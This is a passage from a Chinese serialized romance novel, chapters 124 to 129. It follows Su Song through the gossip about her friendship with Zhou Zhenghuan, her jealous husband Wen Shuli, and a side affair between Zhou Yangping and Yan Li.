她把耳坠拽下来,把项链解下来,戒指也脱下来,一并塞进包包里,然后走到江边。
初夏的江风带着水蒸气,把她的眼都打湿润了。
眼泪滴在手背上,苏颂从不知道,她当年初来南城,上周家找周正焕帮忙,竟然在南城的上流圈引起轰动。
就因为周家的地位,周家人的身份,她成了流言蜚语里,戏弄太子的妖媚。
她们说,她一边钓着周正焕,一边嫁给温戍礼,婚后还不舍得放过周正焕这个军政家族的继承人,享受着温家的富贵,接受温戍礼的帮助,却私下跟周正焕纠缠不休。
该说这些人的想象力真好,还是说她们嘴碎好呢?
苏颂这一刻,已经没有精力跟她们计较,因为她终于知道温戍礼生气的原因,可他为什么不问她,连告诉她都没有,单方面就宣布不让她跟他们联系。
他不信任自己。
他是不是也跟那些贵妇一样,心里是这样想的?
眼泪一滴接着一滴,像断了线的珍珠一般一颗颗落下。
苏颂觉得彷徨,觉得不知所措,更觉得委屈不甘。
她们凭什么这样说她!
造谣,这是造谣。
。
周正焕接到温戍礼电话的时候,正跟家里人吵完架,看着是陌生号码不想接,但对方一直打,他走到门口,点了根烟,接听,想知道是谁这样锲而不舍的给他打电话。
“苏颂在哪?”
124 成长与年少的告别,她的选择
是温戍礼。
周正焕听出是温戍礼的声音,咬烟的动作一顿,意外得开口都忘了还在抽烟,一张口,烟掉了,为了不被点燃的烟烫到,他条件反射的退后一步,踉跄了一下。
一切发生得太快,让他没来得及回复温戍礼,手机又传来他冰冷的问话。
“她在哪?”
周正焕是周家太子爷,什么时候也没被人这样质问过。声音凉凉的反问:“你老婆,你问我?”
聪明人交手,一个语气就能察觉出来很多东西,温戍礼的声音再次传来:“她没跟你在一起?会去哪?”
苏颂失踪了,温戍礼人在郊外,中途接到徐太太的电话,才知道苏颂已经离开茶会。他给她打电话一直没接,人到达会所,周边找了一圈也没找到,他直冲茶会,逼问了徐太太,才知道发生了什么事。
周正焕赶得头发凌乱,那张漂亮的脸甚至发着狠,他一把冲着温戍礼来,被肖直跟保镖拦住。
他气愤的问:“姓温的,人呢?”
温戍礼靠在车前抽烟,锃亮的皮鞋边满是烟蒂。他不语,眯眼瞧着周正焕,深吸一口。
肖直用力拦着周正焕,劝着:“周大少,还没找到太太。你先冷静。”
“冷静你妈!”周正焕后退半步,狠狠夹了温戍礼一眼,跑开,他要去找苏颂。
他一边跑着一边拨出电话:“小叔,我要调动护卫找苏颂。”
人没有走远,他的声音不低,温戍礼听得见。拿烟的手一顿,人定在那里。
肖直惊喜的说:“周家的护卫都是特种兵,侦查能力也强大,只护周家人安全,他们要是出动来找太太,肯定很快就能找到。”
肖直所说不假,可是只护周家人的护卫找苏颂?
苏颂又不是周家人!
那种酸涩漫过心间,他并不是古板到接受不了苏颂跟异性交朋友,只是他介意这个异性对她心怀不轨,甚至介意这个异性比他还有背景。
顾辽舟说得对,他忍受不了苏颂跟周正焕走近。
苏颂沿着沿江路走,吹吹江风,人清醒很多,心情也好了,就是……迷路了。
她不知道自己走到哪里了。
她拿出手机,打算定一下自己现在的位置,结果发现温戍礼给她打了二十八个电话。
额……去茶会前,她把手机调静音了,刚才心情复杂,没注意到包里手机的震动。
她给温戍礼回电。
“戍礼。我现在在……”
温戍礼让她在原地等着。苏颂挂了电话,刚才,她听出他话里的紧张,他是不是误会自己出来干什么了?
不过,得知那晚发生的事情后,她有点不知道怎么面对他。她在医院打完疫苗出来后,太困了,忍不住睡着了,并不知道周正焕抱了她,还直接抱到温戍礼面前。
她只是跟闫丽在一起晚一些,他都都吃醋,更别说见她被别的男人抱了,难怪温戍礼不愿意她跟他们来往。
苏颂趴在护栏上,看着流动的江水。
“颂颂。”
周正焕看到半个身子探出护栏外的身影,吓得飞快跑来,一把拉住苏颂,将人扯过来,急切的问:“你在干什么?”
他喘着粗气,额头有了汗水,像是一路跑过来的。
苏颂被他这个样子吓到,有些懵,说:“我在看江水啊,刚才游过一条锦鲤。”
在看鱼,不是要跳江吗?周正焕意识到是自己误会,表情一顿。
苏颂抽出自己的手臂,揉了揉,他常年训练,力气有点大。她问:“你怎么在这里?”
听周正焕说完,苏颂才知道原来是自己没有给温戍礼打电话,让他误会自己失踪了。
他也太紧张了吧,还打电话给正焕。
周正焕问:“为什么一个人在江边走?你最不喜欢一个人待着。”
年少的情谊为什么纯真,因为可以无话不说。没有弯弯绕绕的心思,关系好到纯粹,什么心情都能分享,苏颂当年会说“不喜欢一个人”,是因为闫丽劝她不要来夜店。
周正焕甚至说女孩子不要去人多的地方,不安全。
可那个时候的苏颂觉得很孤独,妈妈走后,爸爸的精力全部放在公司上,变得很忙,忙得她一靠近就叫她别闹,明明她一句话都还没说。
而奶奶的变化就更大了,虽然在奶奶昏迷清醒后,没有对她展露过不喜,但是奶奶也没有再耐心的陪过她,每次见到她,都是让她学习,不要拖后腿。
她一个十几岁的孩子,每天不是在学校关着,就是在家关着,连出门都要申请,到底拖了什么后腿呢?
她一个人在家呆到怕了,所以她说“我想到人多的地方,感受热闹,感受人气,我不喜欢一个人待着”。
就算一个小时前还在生周正焕的气,现在会想起往事,苏颂依旧有了笑意:“这些年,我大多数时间都是一个人待着。”嫁给温戍礼,他很忙,而她在这里又没有朋友。
她的笑,让周正焕觉得心疼,正想关心,苏颂先一步开口,她问。
“正焕,那晚你真的抱着我,将我交给戍礼的吗?”
闻言,周正焕一顿,不是觉得这事苏颂永远不会知道,而是她这个状态是因为这件事吗?
就因为这个事,所以把自己搞得失魂落魄。
这一刻,周正焕的愧疚心达到顶峰。
苏颂说:“其实你叫醒我也没事,我只是太困了。”
对比周正焕的心情沉重,她的语气听起来要好很多。
“戍礼的性子有些古板,他好像介意了,所以不让我跟你联系了。”苏颂低着头,两手垂在前面,捏着包,一副不知所措的样子。
“很抱歉啊,是我连累你被说闲话了。”
“不……”
“苏颂!”温戍礼下车,站在车门外,朝着她喊。
苏颂转过头就看到他,一边转身走,一边回:“来了。”她走开两步回头跟周正焕说,“我会跟戍礼解释的,如果这事不小心传到白小姐耳朵里,我也可以跟她解释。
再见,正焕。”
她轻提裙摆,迈步下台阶。
她渐走渐远的身影,慢慢移出周正焕的视线。原本准备抬起的手,垂了下来。
江风一吹,更显得他孤影落寞。
125 没那么多凑巧,但可以有心
在那年的盛夏,周正焕终于见到同桌口中那个笨蛋女孩。
她穿着白衬衫,格子短裤,背着一个细带小黑包,在入门处张望。虽然从未谋面,但当时的他,直觉那就是苏颂。于是他抬手,喊了一声“颂颂”。
他想尽量展现自己的温和,毕竟这是同桌暗恋的女孩,李斯俊说她贪玩,其实胆子很小。周正焕想着这样喊,会显得平易近人些。哪知道误打误撞,喊出她的小名。
后来,“颂颂,颂颂”也成了他回南城后,会跟朋友提起的女孩。
这一念叨,不知不觉已经七年了。
七年,她终于有了心上人,他也终于死心了。
原来不管他怎么陪伴,怎么跟她亲近,在她看来,都是一个朋友的照顾而已。
刚才,要不是温戍礼来,他差一点就说出口了。他想说他根本不在意那些闲话,暧昧也好,纠缠不休也罢,都是他心甘情愿的。
他喜欢她。
我喜欢你,苏颂。
现在,他只能在心里说。因为她说“再见,正焕”。
周正焕转头看着粼粼的江面,看似平静的江水何尝不是努力在压制着它的暗涌,他现在,也这般。
纵使再酸涩,再难过,他都只能独自咽下。
只因,他没资格。连暗恋的资格,他都是偷来的。
他闭了闭眼,感受着江风的潮热,该清醒了。
周正焕拿出手机,给周扬平打去电话:“嗯,人找到了,没事。”
那端的周扬平说:“好,我把人撤回来。”
周正焕却迟迟没有挂电话,让周扬平察觉到了异常,唤他:“还有事?”
“我答应跟白雯订婚。”
。
一路上,苏颂心里都七上八下的,她不知道怎么说她在茶会上听到的事情,而且,她发现温戍礼的脸色好吓人。
他就坐在隔壁,但是坐得笔直,目视前方,戴了眼镜的他,更多了几分疏离。
他没开口,苏颂也不敢说话,一直到回了家。
进门,阿姨就来问:“今晚在家吃饭吗?”
原本苏颂是跟阿姨说不回来吃晚饭的,她想,要是茶会上不管饭,她就约温戍礼出去吃饭。结果,她还没来及主动,就被流言打得措手不及。
她在后面,小心翼翼的打量着他,却看不到他的表情。
温戍礼说:“你出去吃。”他拿出一张钞票给阿姨。
阿姨经过苏颂身边的时候,目光有些同情,在阿姨心里,她是一个丈夫不疼,并且老公外面还有一个白月光的悲哀太太。
苏颂想,哪天得专门给阿姨解释一下才好。
察觉到一个阴影覆来,苏颂抬眼。玄关处是感应灯,阿姨关门走后,灯又暗了。
借着客厅打过来的光,背着光,她看到他斧削般的下巴。
下颚线,绷得很紧。
苏颂紧张的咽口水,开口说:“我不是故意不给你打电话,是因为你刚走没多久,我怕打扰你。”
她低着头,眼神在地板上四下扫视,两手紧紧攥着包包的带子,赶紧心脏都到嗓子眼了。
他不说话的样子,更恐怖。
苏颂承受不住这样的气压,又说:“我在茶会上听到了关于我跟正焕的流言。
那晚我被狗咬,幸好正焕刚好出现,救了我。因为一晚上没睡觉,受到惊吓,还打了疫苗,我睡得有点沉,可能正焕叫了我,我也没醒,他才抱我下来的。”
她但凡有点意识,都会自己走。
“他为什么能刚好出现?”他的声音很低很低,因为太久没有发出声音,被压制后的原因,让他低醇的嗓音变得又低又浑。
苏颂的神经正处于高度紧张中,反应有点慢,没听清楚,抬头“啊”了一声。
“却被他吻住。”
“唔~”他的吻又凶又猛,长驱直入,让她有些抑制不住的发出声音。
他把她逼到墙上,抱得很紧。
一开始,苏颂还能承受,后面就受不了,上不来气。
她推他,用力的,甚至捶打他。
温戍礼放过她,额头却还抵着她的额头,再重复一遍:“他为什么能刚好出现,嗯?”
染了情欲的声音,变得尾音拉长,勾人又危险。
“……可能他刚好在附近?”她怎么知道周正焕去那里干什么呢,也许就是凑巧碰一块。
“呵~”他冷笑一声,“听听你在说什么,你信了再来骗我。”
这段时间,苏颂把精力都放在猫跟茶楼上,就是想分散自己的不痛快——他不让她跟闫丽跟周正焕他们来往,这让苏颂感到不尊重。
但她也清楚,她没立场反对,整个苏家都是他在帮着撑着,他够忙够累了,她不能连这点事还不听。
听,但心里不爽。
这会他被温戍礼的态度刺激到了,压抑在心里的委屈也一并被带出来。
“你凭什么不信我?就因为我睡得不省人事,正焕照顾我一下,你就吃醋。
那你动不动就出差,有时候几个月不回来,我不问你连个消息都没有,我是不是应该怀疑你外面有人?”
“胡说!”
有些话一旦开了头,就回一发不可收拾。苏颂找回了胆子,本着横竖都是死,说就说个痛快的念头,更加不避讳。
“不可能吗?你需求那么大,几乎天天要,我不在你身边,谁知道你身边有没有人,反正多的是女人对你上赶着。”
“你再说一遍?”温戍礼扯她胳膊,苏颂好似听到他磨牙的声音了,不敢再说。
“……我就是太纵着你,让你不知好歹了!”
他扯着她,再一次吻下来。
苏颂知道自己喜欢温戍礼的时候,一直幻想温戍礼能喜欢她,结果他真的喜欢她的时候,苏颂却觉得透不过气。
她躺在床上,脑子又乱又空,在他覆盖下来的时候,她说:“我跟正焕真的没什么。”
“……蠢!”
……
苏颂不知道他们为什么一直觉得她不聪明,李斯俊说她笨,她稍微还能理解,因为有些题她真搞不懂,但她选的历史文科,理科差一点不是正常的吗?
还有周正焕老爱叫她傻瓜,她不就是第一次见,被他那副皮囊惊艳到,看呆了嘛,爱美之心人皆有之,这跟傻不傻的有什么关系?
现在,温戍礼说她蠢。温戍礼这个自以为聪明的大笨蛋,他才蠢呢!
于是为了彰显“聪明”,苏颂咬了他。
“苏颂,你属狗!”
126 情来不可控,情深不自知
周家,周正焕手勾着外套,搭在肩膀上,喝得两颊通红的回来。周扬平见此,只是低头继续手里的动作,将香粉加入到熏香炉里,又松了松。
他垂眸,“怎么去喝酒了?你去帮忙找颂颂,温戍礼没请你吃个饭?”
周正焕嗤了一声,将外套丢在交椅的椅背上。
虽然他喝多了,但准头很好,走路也不晃。
看他一把坐在椅子上,通红着脸,打开扣子透气,一副郁闷的样子,周扬平明白了什么事。
道:“中午还在饭桌上忤逆你爷爷,不想跟白雯订婚,出去一趟就答应了。”把盖子盖上,周扬平看他,“颂颂又做了什么让你痛下决心的事?”
周扬平在官场练就了能看穿人的本事,周正焕是他带大的,很多事更是逃不过他的眼睛。
周正焕解开了上面三颗扣子,才觉得呼吸顺畅,头靠在椅背上,声音沙哑的说:“没做什么,她跟温戍礼回家了。”
没做什么,能让他这个样子。周扬平更好奇了,走过来,停在跟他几步的距离,静静的看着这个侄子,等他下文。
周正焕看天花板,说:“是我不想看她被流言困扰,她今天不开心,是因为有人编造我跟她的流言,她……”
周扬平听他停顿,撩起的眼皮没有眨一下,盯着他,只听周正焕说:“她一直把我当朋友。”
年少的苏颂很孤单,所以认识了他们之后,格外的珍惜。一个真心把对方当朋友的人,是不容许纯洁的友谊被玷污的。所以苏颂才会有那么大的反应。
周扬平听后,叹息:“说到底,还是因为颂颂。不过你跟白雯的婚事也逃不掉。
我们周家的男人,就没有跟人家女孩子开了房,还不负责的道理。”
周老爷子今日之所以会逼大孙子,是因为周正焕那天跟白雯在明河酒店开房一事,传到了老爷子的耳朵里。
甚至那人说,有人看到白家小姐是哭着出来的。
这情况,婚还不定,明日,周家出了个负心汉的事情,肯定闹得满城皆知。
周家人一世清名,老爷子爱惜了一辈子的羽毛决不能毁在这小子手里。
“你能自己答应最好。”周扬平总结道。
周正焕看着周扬平,那眼神说不出的怪异,让周扬平有种错觉,是不是冤枉了他。
哪知道周正焕忽然蹦出来一句:“你睡了闫丽那么久,也没见你要负责。”
周扬平:“……”
这皮实的样,哪像被冤枉,欠揍就有可能!
。
隔天,闫丽瞧着苏颂无精打采的,问:“你昨晚做贼了?”
苏颂皱着眉头,一脸苦巴巴的说:“比做贼还惨。”
这倒是引起闫丽的好奇心,她放下筷子,坐得笔直,甚至还佯装掏了掏耳朵的样子,道:“说来姐给你分析分析。”
从昨晚咬了温戍礼之后,苏颂心惊胆战了一晚上,根本想不到办法怎么面对,于是跟闫丽说了,想闫丽能帮她出出主意。
闫丽听完,瞪大眼睛:“你咬了姓温的?”
苏颂一副要哭了的样子,闫丽却竖起大拇指:“牛啊!”
温戍礼那种人,一看就不好惹,身份地位能力都摆在那,感觉动一动他的歪心思都会死得很惨那种,苏颂居然敢咬。
“妹妹,以后你就是姐的偶像。”闫丽拍拍她的手背,一副崇拜的样子。
苏颂瘪着嘴:“你就别笑话我了,我快被自己蠢哭了。”
温戍礼说得对,她就是蠢。怎么能一气之下就做出不可挽回的事情,今早她都不敢看他肿了一半的嘴,他还说今天见的人很重要,必须得出去。
苏颂抱着头,觉得又糟糕又社死。
闫丽摸摸她的脑袋,说:“姓温的真生气,你今天还能出门?”
这话让苏颂抬起头,看着她,一副“真的吗”的求知模样。
闫丽道:“当然,姐见过的男人多,比你更了解男人。男人喜欢你才会纵容你,我只是惊讶姓温的对你的容忍度。”大概不止喜欢。
但闫丽向来最不相信男人的爱,只说:“你不是已经知道他也喜欢你了吗,还怕什么。”
“可是他今天出去万一被人问……”然后大家是不是都知道她之前都是装的,会说苏颂很泼辣?
闫丽交叉着手指,搭着下巴:“所以记住打人不打脸。下次挑看不见的地方咬。”闫丽用嘴型说,苏颂秒懂,脸瞬间就红了,同时那些慌张不安消失不见。
“丽姐,你真坏。”
闫丽笑得花枝招展,身形摇晃:“姐这招可是万人杀。”
店长来敲门,苏颂让她进来,店长说:“老板,温先生来了,在芙蓉阁面客,温先生说周三爷是贵客,让你好好准备。”
闻言,苏颂立刻站起来,步伐急忙往外走,走到门边的时候,回头跟闫丽说:“丽姐,让后厨给你炒个蛋炒饭吧,你昨晚没吃饭。”
闫丽已经拿起筷子,摆手:“不用,你赶紧忙你的去。”
“他怎么把小叔也带来了呢……”随着门关上,苏颂的声音也被隔断。
闫丽放下筷子,双手环胸:“哼,这个周扬平,不接我电话,不见我,却跑到这里来了是吧?”
。
芙蓉阁,这一间,温戍礼当初让人设计的时候就是不对外开放的,留着自己招待用。
里面的规格布置都尽善尽美,连周扬平这种享受自然景观、钟爱名家书画的人见了,都称赞。
“这墨兰到现在还在开花,少见。还有这山水画,采用泼墨手法,晕染得很自然,很有意境。”
温戍礼道:“兰花是碰巧出差的时候看到的,至于画,我爸珍藏了不少了,苏颂是他媳妇,他送来贺喜的。”
这样的画作,温家还有不少?这话成功引起周扬平的注意:“温家,果然深不可测。”
周家地位再高,来南城扎根也不过五十年,但温家,世世代代在这里,发家史可以追溯到两三百年前,谁也不知道温家的底蕴。
周扬平又说:“既然温家的财富已经这么多了,宋家的,你何不放了?”
温戍礼说今天见的人很重要,周家三爷主动约他,不仅重要还稀奇。
127 一句小叔也让人吃醋。凭什么
从周扬平发现他的隐秘工厂后,温戍礼就知道,他的局一开始就是朝着工厂来的。
不过周家人,对军事工厂上心,不奇怪。
“我以为你会继续用办法让我不得不交出来,就像一开始让我钻进你的设计里一样。”
周扬平知道苏颂跟闫丽的关系,让闫丽出现在南城,并不是意外。或者更早,从盛泰集团拿到养老机构的标开始……这个人老谋深算,温戍礼连什么时候掉进他的圈套里都不知道。
而今日,周扬平便要宣之他的目的,他要外公留给自己的工厂。
“都说周家三爷运筹帷幄,有将帅之才,最得周老爷子真传。温某人领略了。”
周扬平笑了两声:“温总言重了,今日我是诚心找你谈的。温总别多想,就跟你平常谈生意一样。”
水开了,温戍礼泡了一盏工夫茶。
冲出来的茶又是三个颜色,有深有浅,温戍礼挑了一杯不深不浅的给周扬平,说:“产业多,难免管理不均,就像这茶一样,我可能会冲泡的不好,但是我泡的,没人敢说不好。”
即使面对的是周扬平,温戍礼的气场也不差半分,这是底蕴足够的家族养出来的贵气。
他说:“温家、宋家,甚至苏家,是挺多的,看似累赘,也是实力。
实力够,我就顾得过来。”温戍礼满怀自信。
顾不过来,他可以请人管理,产业还是他温戍礼的。但转让,就不是了。
他端起那杯颜色最深、最满,最浓的茶。
言外之意,他哪个也没打算放手。
苏颂进来的时候,只觉得包厢里的气氛很不好,明明两人在喝茶,但却给她一种硝烟弥漫的感觉。
“小叔,你吃臭豆腐吗?”周扬平身居高位,出身不凡,苏颂上的都是上等货,但茶楼的招牌就是“臭豆腐”,不上又怕显得不重视。她先询问周扬平的意见。
“我……”
“周三爷来了茶楼就是想试试,吃惯了燕翅鲍,也许会觉得民间小吃才是美味。”
“我去看看,给周三爷准备一份最好的。”
说着,温戍礼半推着苏颂往外走,苏颂被他推出来,苏颂道:“我还没问小叔要招牌还是特色的呢。”
“随便。”他不由分说,将人推走。
苏颂直接被温戍礼带到隔壁间,这层楼就只有两间房,这一间本来温戍礼是做了办公室的,但苏颂嫌没有电梯,三楼不高,但真忙起来爬上爬下麻烦,就在楼下腾了杂物间出来,成办公室了,杂物反而堆放在了这里。
一进门,屋里满满当当的,老旧式房屋窗户很小,光线被挡住,不开灯的房间昏昏暗暗。
苏颂被他抵在墙上,视线不明朗,其余感官就会变得敏感。
她感觉到了他的呼吸变快,体温也热起来。她一动不敢动:“……我还要去楼下。”不知道他为什么突然这样,但已经对彼此身体很熟悉的她,也识趣的不问。
问,遭殃的就是她,还是装糊涂好了。
“请了那么多人,不是让你自己忙上忙下的。”温戍礼抬起她的下巴,让她看着自己。
不算全黑的环境,适应之后,苏颂看清他的脸,他下唇的肿胀最为明显。
额……她咬的。她心虚的避开视线。
“可是……”
“你叫周扬平小叔?”他的俊脸靠近,唇瓣贴在她脖子上的皮肤,比平常厚实。
她甚至能感觉得到他肿起来那里要烫一些。苏颂的身体颤栗了一下,努力稳住声线说:“我们都跟正焕这样叫……啊!”
他居然咬她。
苏颂蹙眉,咬着唇,及时收住声音,隔壁还有周扬平在。
“我们”她还跟谁我们?她跟周正焕什么关系得随他叫人?
“改了。”有什么湿润的东西滑过皮肤,苏颂差点站不住。
“我爸没有弟弟。”
。
闫丽来到楼上,芙蓉阁的门没有关,她看到只有周扬平一个人在里面,走进去,关门。
“颂颂,这墨宝……”正欣赏墙上字画的周扬平转身,看到的却是闫丽。
“你怎么在这?”
闫丽不仅关了门,还把门插给插上了,这门仿古仿得很逼真。她走到桌子边,看着上面全是茶楼最贵的菜式,低“啧”一声,坐下来。
“吃饭啊,我昨晚没吃,饿得受不了呢,一早就来颂颂这里吃东西。”
她侧坐在桌边,一条腿翘在另一条腿上面,初夏的天,爱美的女人已经开始露身材,两条笔直细长的腿毫无遮掩的展露在空气里,包厢里的气氛,瞬间多了一层暧昧。
见她这般搔首弄姿,周扬平不仅没责怪,还坐在她旁边的椅子上,道:“是真的肚子饿,还是哪里饿?”
他在笑,那双平常透出城府的眼,染上风情,看得人浑身燥热。
闫丽见过不少男人没错,但从没有一个男人像周扬平这般看不透。这段关系从一开始,她就处在被动的位置。
闫丽坐在他怀里,细长的胳膊攀上他的脖子,搂着他,声音娇媚:“那你呢?身边有别的女人了?一个月不来找我。”
自从她擅作主张打断温戍礼的人后,周扬平警告了她,两人的关系就变得有隔阂,但中间也有过来往的。
他有需求,她也还需要他。是她找不到苏颂,哄着人,从他嘴里得知苏颂在老城区开了茶楼后,她才联系不到周扬平的。
“没有。我跟你有约定,跟你在一起,不会有别人。”就算美人在怀,他也依然不为所动,他依然笑着,只是看着闫丽的脸,多了审视。
“告诉我,我们之间的约定是什么?”他捏起她的下巴,笑容淡了一点,语气重了一些,“还记得吗?”
闫丽第一次遇到周扬平,是周正焕在她店里喝醉了,他亲自来接人。大半夜,他穿着一件长风衣,站在门口,那一身正气,似乎就能把她店给翻了。
那些年,闫丽见过不少人,但只是一眼,她就知道,这个男人跟她接触的那些小有势力的人还不一样,这是个人物。那会她还不知他位高权重。
128 年龄差的不自信,温大少的自我怀疑
第二次见,是她跟蓝湛分手,她跟蓝湛在一起了两年,感情稳定,蓝湛知晓她的过去,说他不计较,还说过年要带她回去见他的父母。结果在她以为自己漂泊的日子终于要有归宿的时候,他说分手,就离开了。
那一天,她知道蓝湛在他的老家,娶了他父母安排的姑娘,蹲在店里哭了好久。周扬平进来的时候,她正哭得两眼水肿,连震惊都没表现出来。
“正焕没来。”自从上次他来把人接回去后,周正焕已经三个月没来了。正常家长都不会让自家的孩子来她这里的。
只是他为什么来?
“不找他。”周扬平站在她面前,他很高大,看身形应该是很威武的样子,可他却总是笑着。
闫丽仰着头,第一次看清楚这张脸,算不上多帅气,但胜在贵气。
她当时的感觉是,一眼华贵。
所以在他问“为什么哭”的时候,闫丽说“腿麻”,并朝他伸出了手。
她的手不算细腻,是他的手太粗糙了。又高大又粗糙的老男人,拿下他,很容易。
当天,他们就在她店里厮混,他让她感受到了不一样的体验。就在她以为自己又攻陷一个男人的时候,周扬平说。
“要维持这段关系,我们得约定一下。”他穿戴整齐,依然嘴角带笑,那双眼,却冷漠得,像是从没染过情欲。
就算过了这些年,每当闫丽想起来那一天那一刻的时候,还会下意识的咽口水。
怵,是她当时的反应,人一下就从欲望清醒过来,以至于对他当时说的话,记忆犹新。
“过往你断干净,我可以不管,以后我希望你保持忠诚,在我们维系关系期间,我同样不会有别的女人。
为保证公平,我不会干涉你的生活,你也不能利用我。我们之间,就只能是这种关系,不会有其他关系,能接受,我们就继续。
当然,我会每个月给你固定的钱,当是我给你的青春费。”
他大概发号施令惯了,说是谈,其实没有商量的余地。闫丽是个聪明的女人,从她一无所有到能在云城立足,就证明她多识时务。
那时她并没有觉得他高高在上,反而觉得这是自己的良机。正好她也单身,开展下一段是忘掉上一段最好的办法。只不过……
“这些都不是问题。但我不做小三。”这是她唯一的底线,哪知道他说。
“我没老婆,她**。”
他们认识于周扬平丧妻的第四年,后来她知道周扬平很爱他的妻子,闫丽想,也许是他们见面的时间,刚好是他为爱妻守完三年丧。
她不过一个消遣。
闫丽说完,撒娇说:“就是让你帮我找找颂颂,我没利用你。颂颂不也叫你‘小叔’吗?你就当关心一下后辈。”
“她是温戍礼的妻子,还不用我关心。”话是如此,但他已经环上她的后腰,不谈感情,他们两个对彼此都有纯生理喜欢。
他揉着她的后脑勺,将人搂进怀里,道:“不帮你找,就不理我?谁给你胆子威胁我?没有下次。”
他吻得有点急,闫丽觉得痒,扭捏着推他:“你这人,老是装的一本正经,怎么这么不挑地方,等会有人来……”
“不会有人来,温戍礼把颂颂带走了,他不想跟我谈,故意晾我。”
年轻人那点心思瞒不过他。
就在两人打得火热的时候,隔壁传来一声呢喃般的轻哼,很快又收住了。
闫丽一惊:“隔壁有人。”
男人却扳过她的脑袋:“专心点。”
。
晚上,King
顾辽舟在隔壁星灿,收到温戍礼的电话就过来了,见他一个人在包厢里坐着,没点小姐没要酒的,坐在那甚至还散发出一种孤家寡人的气息,让顾辽舟打起精神来。
“最近不是跟嫂子感情升温,忙着到处出双入对秀恩爱,怎么有空来我这里坐了?”
“干坐”两个字最后还是收敛成“坐”了。
在温戍礼面前,他吃过太多嘴上的亏了,一朝
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未成事,他都得悠着点。
他在他旁边坐下来,道:“我可听说了,你把苏颂带到了各种宴会上,介绍给了很多人。甚至连徐太太组织的那种号称集齐整个圈子贵太太的茶会,你都给嫂子报名参加了,就为了正一下‘温太太’也是贵太太的名。”
当时顾辽舟听到的时候,差点没把嘴里的酒喷出来,就徐太太那种嘴碎的八婆,能聚起什么正常人。偏偏温戍礼为爱冲昏头,也是个不正常的。
闻言,温戍礼看他:“你知道那个茶会不好?”
顾辽舟玩着包厢里配的骰子,漫不经心的说:“什么茶会,就是一个八卦群。多少公子哥千金姐儿深受其害,那就是圈子里的毒瘤组织!”
温戍礼:“……”
“以后别让嫂子去了,免得被影响。”
说晚了,已经被影响了。
“对了,你还没说今晚怎么会一个人来我这?”顾辽舟转过头问他。
温戍礼翻着眼珠子,藐视得很直接:“让你别老是换女友你不听,不知道女人有姨妈期啊!”
苏颂又来月经,她把这事怪在温戍礼身上,说是他上午太凶,她下午才会来大姨妈。也不管月事是准时报到的,反正就怪在他身上,还说他越来越老不正经。
他跟苏颂差了八岁,曾经就算别人在背地里说他老牛吃嫩草,他也能大大方方走到那个人面前,晃得那人心虚,可是苏颂说他老,让他有些自我怀疑。
被莫名阴阳一把的顾辽舟,为了彰显他很懂,说:“谁不知道,但又不是不能办事,嗳……”
温戍礼抬脚踹他一把,骂:“没你这么禽兽。”
被踹了一脚的顾辽舟不怒反笑,歪着身体坐在沙发上,笑着打趣他说:“不禽兽,就是谁天天腻着老婆,让我有事打电话就好。”
“我努力,不还是为了让她快一点怀上孩子。”温戍礼显得苦恼,问出心中疑惑,“你说,我是不是真的老了?”
所以苏颂才一直没有再怀上。
129 这种男人给不了你一个家的
第一个月没怀上,苏颂没当回事,第二个月,她也还能接受,可他们已经备孕半年了,这让她有些着急起来。
这种事她不知道跟谁说,打电话给了奶奶。
哪知道苏凤听后,直接来一句:“是不是当初打胎,伤到了?”
苏颂一听,本来就痛经痛到无血色的脸,立刻变成苍白。
“会、会吗?”苏颂的声音都在抖。
苏凤说:“找个机会去检查一下,调理调理,苏氏这几天就要上市,等苏氏完成上市,我再去看你。”
手机那端传来有人喊“苏总”的声音,苏凤立刻结束了通话。连一句“再见”都没有。苏颂虽然习惯了,但不代表不难过。
苏颂想求安慰的心情,因为被挂断电话,变得更加糟糕。
在奶奶心里,苏氏永远排在第一位。
她捂着肚子,没人说心里话,变得更胡思乱想。
“我以前好像也没有痛到这样,难道也是人流后遗症吗?”
阿姨端着生姜红糖水过来的时候,苏颂正坐起来,她说:“阿姨,带我去医院,我想去检查一下。”
阿姨已经来了这里大半年,每次看苏颂来月经都痛得站不稳,一直劝她检查一下,但这会儿。
“太太,这大晚上的,明早吧。”
苏颂看向窗外,是很晚了。她给温戍礼打电话,想让他明早陪自己去医院检查。
自从她上次发烧到晕厥被温戍礼发现后,他说以后她人不舒服就打电话给他,他会陪着她。
她说完,小心翼翼的等着,好在这一次,她期待的关心有了回应。
“有点事。我等会再回去。你先去睡,明天上午我们去医院。”
难得他会给她解释,苏颂看时钟,已经十点二十分了,不知道他这样说是不是赶不上十一点回来的意思,不过得到回应的心情转好,对这件事也就没有那么纠结了,苏颂喝完糖水就去睡觉。
这边,温戍礼正在车上,顾辽舟见他挂了电话,道:“你还要回去?”
两人本来是要去办事的。
顾辽舟以为他会办完再回去,哪知道温戍礼直接让人掉头:“明天再去处理。”
不回家怎么转都没事,但是回家的话,他们约定好,十一点前到家。
顾辽舟骂了一句:“你越来越色令智昏了。处理的是养老机构的事情,我费了这么大的心思才把人约出来……”
“能约到第一次就能约第二次,这些人要的不过是钱。明日下午再见。”明早到医院检查,大概没那么快。
还下午?
温戍礼一副心思都在苏颂那边的样子,气得顾辽舟扭头看窗外。
“说得轻巧,又不是你去磨。”
。
苏颂回到房间,垫着个小东西,怎么睡都不舒服,温戍礼还没回来,她登上自己的老账号,给闫丽发消息,告诉闫丽自己明天想去检查一下痛经的原因,还说温戍礼会陪她去。
因为闫丽老是担心她拿捏不准温戍礼,觉得她在这段婚姻里太受委屈。在闫丽的两性观念里,男人就是来保护女人,来发挥作用的,两夫妻直接,身为妻子更不用对丈夫有愧疚心里。
虽然说苏颂不是很懂,但她觉得她跟温戍礼的感情进展,有闫丽的功劳。特别一用上那些小工具,温戍礼就会说“你朋友挺靠谱”。
苏颂告诉闫丽这些,是想让闫丽知道,温戍礼有改变,他们之间的关系也有在向好。
闫丽没有第一时间回,苏颂直挺挺的躺在床上,就在她躺得浑身难受的时候,手机来了消息。
【颂颂,还是你命好】
一看这话,怎么都不像闫丽的风格,但确实是闫丽的账号,难道她的号又被盗了?
苏颂直接给她打了电话,那端接通,她立刻就问:“丽姐,你又被盗号了吗?”
闫丽说:“是你啊,这就是你的新手机号码,哦,我知道了。”
苏颂:“……”温戍礼给她办理新号码后,除了奶奶,她没有告诉任何人,也不是真的怕温戍礼到不敢让朋友知道,只是觉得还有聊天工具联系,现在聊天比打电话方便,能减少麻烦就减少。
尽量皆大欢喜。
苏颂完全把周正焕要不到号码的委屈抛之脑后,这会问:“丽姐,你喝醉了。”
